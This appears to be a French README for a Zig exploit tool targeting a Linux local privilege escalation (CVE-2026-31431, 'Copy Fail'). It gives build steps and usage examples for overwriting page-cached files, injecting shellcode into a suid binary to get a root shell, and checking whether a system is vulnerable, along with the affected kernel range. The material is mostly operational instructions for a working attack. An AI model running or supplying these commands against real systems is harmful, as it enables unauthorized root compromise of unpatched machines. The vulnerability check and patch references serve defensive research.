
Implémentation en Zig de l'élévation de privilèges locale Linux Copy Fail (CVE-2026-31431) fournissant un binaire autonome pour exploiter la vulnérabilité à des fins de recherche en sécurité et de détection défensive, incluant l'injection de shellcode et des vérifications de vulnérabilité du système.
Implémentation Zig de la preuve de concept de 732 octets pour l'élévation de privilèges locale Linux Copy Fail (CVE-2026-31431), divulguée par Theori / Xint le 29 avril 2026. L'article détaillé est disponible sur copy.fail.
Cette implémentation n'a aucune dépendance à l'exécution et peut être exécutée comme un binaire autonome.
La compilation de l'exploit nécessite la version 0.16.0 ou supérieure de zig, qui peut être installée depuis ziglang.org. Pour compiler l'exploit, exécutez la commande suivante dans le terminal :
zig build
Optionnellement, il peut être compilé de manière croisée pour une cible différente par ex.
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
ou avec des charges utiles non compressées
zig build -Dcompress=false
exécutez soit le binaire compilé, soit utilisez zig pour l'exécuter
zig-out/bin/copyfail
OU
zig build run
$ zig-out/bin/copyfail
Usage:
run <path> <data> [offset] [-- args...] - Write data to the executable at the given offset (default 0) and run it
sudo <suid_path> [command...] - Runs a command as root by writing shellcode to a suid binary.
(the first argument of command must be the full path to program to run)
modify <path> <data> [offset] - Write data to the file at the given offset (default 0)
reset <path> - Reset the file to its original state
help - Show this message
L'exécutable peut être lancé avec différentes commandes :
run
écrit d'abord les données fournies à l'offset donné (0 par défaut) dans l'exécutable au chemin fourni, puis l'exécute.
Une fois l'exécution terminée, le fichier est réinitialisé à son état d'origine à l'aide de posix_fadvise.
Exemple :
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh
sudo
écrit le shellcode inclus dans un binaire suid et l'exécute pour lancer une commande en tant que root.
Le code source du shellcode se trouve dans payloads/sudo.zig.
Le premier argument de la commande doit être le chemin complet du programme, car le shellcode ne recherche pas le programme à exécuter.
Une fois l'exécution terminée, le fichier est réinitialisé comme dans la commande run.
Exemple :
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
écrit les données fournies à l'offset donné (0 par défaut) dans le fichier au chemin fourni, sans l'exécuter.
Après la modification, le fichier n'est PAS réinitialisé. Utilisez la commande reset pour le réinitialiser.
Exemple :
copyfail modify /path/to/file "My new content" 1337
reset
réinitialise le fichier au chemin fourni à son état d'origine à l'aide de posix_fadvise. Cela supprime la page en cache et lira le contenu depuis le disque lors du prochain accès.
Exemple :
copyfail reset /path/to/file
is_vulnerable
vérifie si le système est vulnérable en créant un fichier temporaire, en y écrivant des données de test, puis en les relisant pour voir si les données ont été corrompues.
Exemple :
$ copyfail is_vulnerable
warning: System is vulnerable
OU
info: System is not vulnerable
help
affiche le message d'utilisation.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
Entre les deux : tous les noyaux des distributions majeures qui n'ont pas rétroporté le correctif.
Ubuntu, RHEL, SUSE, Amazon Linux et Debian ont tous été confirmés vulnérables
dans leurs noyaux d'images cloud standard au moment de la divulgation. Les
rétroportages au niveau des distributions ont commencé à être déployés vers le 2026-04-29
en même temps que la divulgation publique. Pour vérifier si un noyau cible est dans la fenêtre, vérifiez
si a664bf3d603d (ou son rétroportage spécifique à la distribution) est présent dans le
journal git du noyau ou dans le journal des modifications de la distribution.
Découverte et divulgation originale de CVE-2026-31431 : Theori / Xint. Article public sur copy.fail.
Cette implémentation Zig : Emmmmllll [email protected]
Le compilateur zig et la bibliothèque standard : Zig Software Foundation sous conditions MIT https://codeberg.org/ziglang/zig.
L'exploit et la charge utile sont publiés à des fins de recherche en sécurité et de détection défensive. L'utilisation contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test relève de votre responsabilité, pas de celle de l'auteur.